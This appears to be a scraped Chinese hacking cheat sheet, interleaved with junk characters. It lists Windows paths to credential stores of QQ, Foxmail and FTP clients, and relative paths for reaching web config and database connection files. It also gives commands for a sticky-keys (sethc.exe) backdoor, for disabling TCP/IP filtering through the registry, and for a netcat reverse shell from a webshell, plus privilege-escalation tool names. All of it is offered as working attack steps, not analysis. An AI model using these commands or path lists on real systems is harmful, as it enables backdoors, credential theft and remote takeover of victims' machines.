/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
( L% F: E5 Z! k* Mc:\Program Files\QQ2007\qq.exe
& y* U3 k$ C+ e4 _8 \c:\Program Files\Tencent\qq\User.db
% y% I1 h: o. |" Sc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
6 f8 j- n# m% ]7 |7 zc:\Program Files\Tencent\qq2009\qq.exe
9 X# B1 N/ j; W1 r( ~9 i" oc:\Program Files\Tencent\qq2008\qq.exe
) j* A) W. Q3 M1 t5 Y3 Rc:\Program Files\Tencent\qq2010\bin\qq.exe
! D8 w+ k! K* O& bc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
8 i; c) h2 `8 Q' Z6 v' f! h& G4 z( ic:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
0 E/ D: d' J1 |C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
( c4 b7 B* ^3 h3 tC:\Program Files\LeapFTP 3.0\LeapFTP.exe
3 I7 K& V2 }# c  s5 ~C:\Program Files\LeapFTP\LeapFTP.exe
7 u, ~% F" t5 v% hc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
. a% M1 T: |* H$ _% r/ ^c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
; _3 l# J2 _& _( c/ V) W7 ZC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
+ W- |4 L: Z: I5 S; I3 Gc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
- P3 i1 }$ I& q9 g7 N1 U. W
3.网站相对路径:

/config.php
../../config.php
../config.php
& W' z$ m# G2 l../../../config.php
% I0 M5 Y: d, e9 W! g0 F. X8 B, x/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
8 v( S( [! z- Q, G! F  _/ G$ x2 O( h../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
../../../conn.php
# a3 V6 b+ h* @& P: x+ q; L. h/conn.asp
  N/ l3 y4 I6 g" ]  L1 s: R./conn.asp
../../conn.asp
  e# r  |* s7 y' P. P  M, B../conn.asp
../../../conn.asp
; q' K8 V7 y2 p. j- ]& n. V9 f6 b/config.inc.php
6 m& J$ G6 r+ F# [  \./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
% @3 V( r* d& ^# X+ e/config/config.php
; Z; U: a8 j# t2 @& W# ]) f/ n../../config/config.php
../config/config.php
; x; S# L" n' T* W../../../config/config.php
. f: z% h) |: L0 r2 [/config/config.inc.php
./config/config.inc.php
1 N7 V1 a1 ?9 W; c../../config/config.inc.php
$ X1 X6 y, C- d' P2 Q0 \../config/config.inc.php
5 ?" w# Z0 q! g3 Q8 H../../../config/config.inc.php
/config/conn.php
% @; Y. V# @' w7 b# v+ h./config/conn.php
' D: M' S4 s. @/ [4 x$ G1 l) C5 Q../../config/conn.php
/ S6 K: S$ I% M4 Q) k../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
0 O& {. V& m% m( r  C  x/config/config.inc.php
$ j9 q  t2 O8 I2 Y; z8 |0 g$ ^& k./config/config.inc.php
../../config/config.inc.php
" Q) e8 g, g* Z" ?  z../config/config.inc.php
6 B- k, w+ U0 d../../../config/config.inc.php
/data/config.php
../../data/config.php
../data/config.php
& N: R' G  J9 K8 Z- v../../../data/config.php
# j+ v. V* S& S/data/config.inc.php
  |( g. O" K* [1 Y4 @./data/config.inc.php
7 k. _* e2 F7 p7 Y% b../../data/config.inc.php
6 o% ^; F/ c8 y" D% }../data/config.inc.php
../../../data/config.inc.php
; m  e5 }* Q1 O2 A9 ^/data/conn.php
9 S! v: Z( \# Z./data/conn.php
../../data/conn.php
& Z5 x1 P: h7 a0 b' h../data/conn.php
% Q7 B# ~  S" E../../../data/conn.php
% _: X8 t% P; k/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
' y3 ?: q2 {+ T+ V" _! U../../data/config.inc.php
9 v% w6 D) ~& d0 l! R../data/config.inc.php
6 G0 o0 I5 L5 w; Y' e../../../data/config.inc.php
8 X& ]7 Y+ o+ u6 b8 Q# F/include/config.php
../../include/config.php
../include/config.php
4 h% _* T5 u0 i! T1 o../../../include/config.php
/include/config.inc.php
, m7 h. S" P4 g3 e- \./include/config.inc.php
" A0 j0 {1 ?6 W5 o  B2 P& z, t../../include/config.inc.php
" e- j( n, @, b6 H: C* H- l. e../include/config.inc.php
! H, Y6 U: L) X- q/ c, p0 _9 X../../../include/config.inc.php
/ G5 G& |6 P, w/include/conn.php
9 T# R% p" b% {* S2 y% Y& x4 b9 q./include/conn.php
3 l' B9 r) V: _. y$ K8 h../../include/conn.php
8 [9 G; g8 f# C+ I" X% \4 @# m2 f../include/conn.php
# I, N% A% t& [. P5 P% X$ y4 N../../../include/conn.php
- z( A; T9 A- w1 U- x4 O1 |/include/conn.asp
; j( o6 \! s- `: u+ F2 q./include/conn.asp
+ l3 i+ M7 C9 x! d- F* C; K% F../../include/conn.asp
: ?  O9 u1 r, }8 u8 N& U../include/conn.asp
3 L( D5 s7 k8 {1 z" P../../../include/conn.asp
" z$ {4 ?8 e! [' h: c& G/include/config.inc.php
8 @" f+ w( Q: ]1 K' `* t" o5 ?./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
5 {& t/ k: C; K../../../include/config.inc.php
5 `' G4 K7 O1 `/inc/config.php
../../inc/config.php
6 M* N; c) E+ x0 @) O../inc/config.php
# @9 F5 y3 T4 v; T; O3 m../../../inc/config.php
1 b1 K& u8 a* b. X  t/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
# U9 r4 x) a) E4 m8 X../../../inc/config.inc.php
/inc/conn.php
' p0 j) r2 Y- J1 t' @./inc/conn.php
2 b" O+ a: s2 p$ u" }/ Y9 E: e0 q../../inc/conn.php
../inc/conn.php
9 m( u2 h: G6 Y6 o../../../inc/conn.php
+ \  S- v0 n+ K/inc/conn.asp
$ w) q0 r" O8 C; @% ^8 U) r0 v./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
% l/ ]. H; G; l# k" F/inc/config.inc.php
3 S4 n) s/ b) e6 T/ R./inc/config.inc.php
4 T6 X; S8 w8 ?) i) r  Z../../inc/config.inc.php
$ I) u% P: P- H  V4 V! |../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
+ e3 R; _* T, w2 `8 {  D' |4 l../index.php
2 n$ [3 y9 Y7 E9 f7 x../../../index.php
/index.asp
./index.asp
../../index.asp
../index.asp
. J$ E, S9 p# o. j: d../../../index.asp
5 s, _; i6 z8 t. e/ h: x替换SHIFT后门
$ Y) f; u& J: G8 M' _2 Z7 G1 @) m　attrib c:\windows\system32\sethc.exe -h -r -s

- E3 H  H$ X6 v' f* A　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
3 M8 i& B- C4 f" C& w4 z
　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
) j$ m" S$ y. t) }1 ~: O3 n% \- e! h/ y
! E6 t9 W% Q1 l: v　　attrib c:\windows\system32\sethc.exe +h +r +s
* \4 f5 W3 I! W/ e
) V1 a3 ?+ I. N) m　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
' L4 u3 x8 |, [" e' f. FTCP/IP筛选在注册表里有三处，分别是：
  h% e% j& c; w, K, p9 Q+ W5 JHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
( R2 z+ X- U/ J. v# [' C/ b& u# zregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
$ I2 q  A. g6 \. @3 t. ]regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
9 K( G: `7 H. H命令来导出注册表项
& B# Y" S( }" s. Q3 i( D$ x
6 k$ \' m1 `2 m8 o9 I然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
4 b- y, v+ s! k  l7 b
再将以上三个文件分别用
regedit -s D:\a.reg
4 c$ Z4 J: L% X# q; vregedit -s D:\b.reg
. a/ P% j' B' }4 Kregedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
$ k: y9 t$ v9 S" B8 A* b! @nc也在同目录下
例如反弹cmdshell：
1 s8 ~) i* d8 Z+ d1 L. j"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
: l) O9 I3 M$ e( ]$ @2 J1 k通常都不会成功。
3 R) i) a: c! q1 v
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功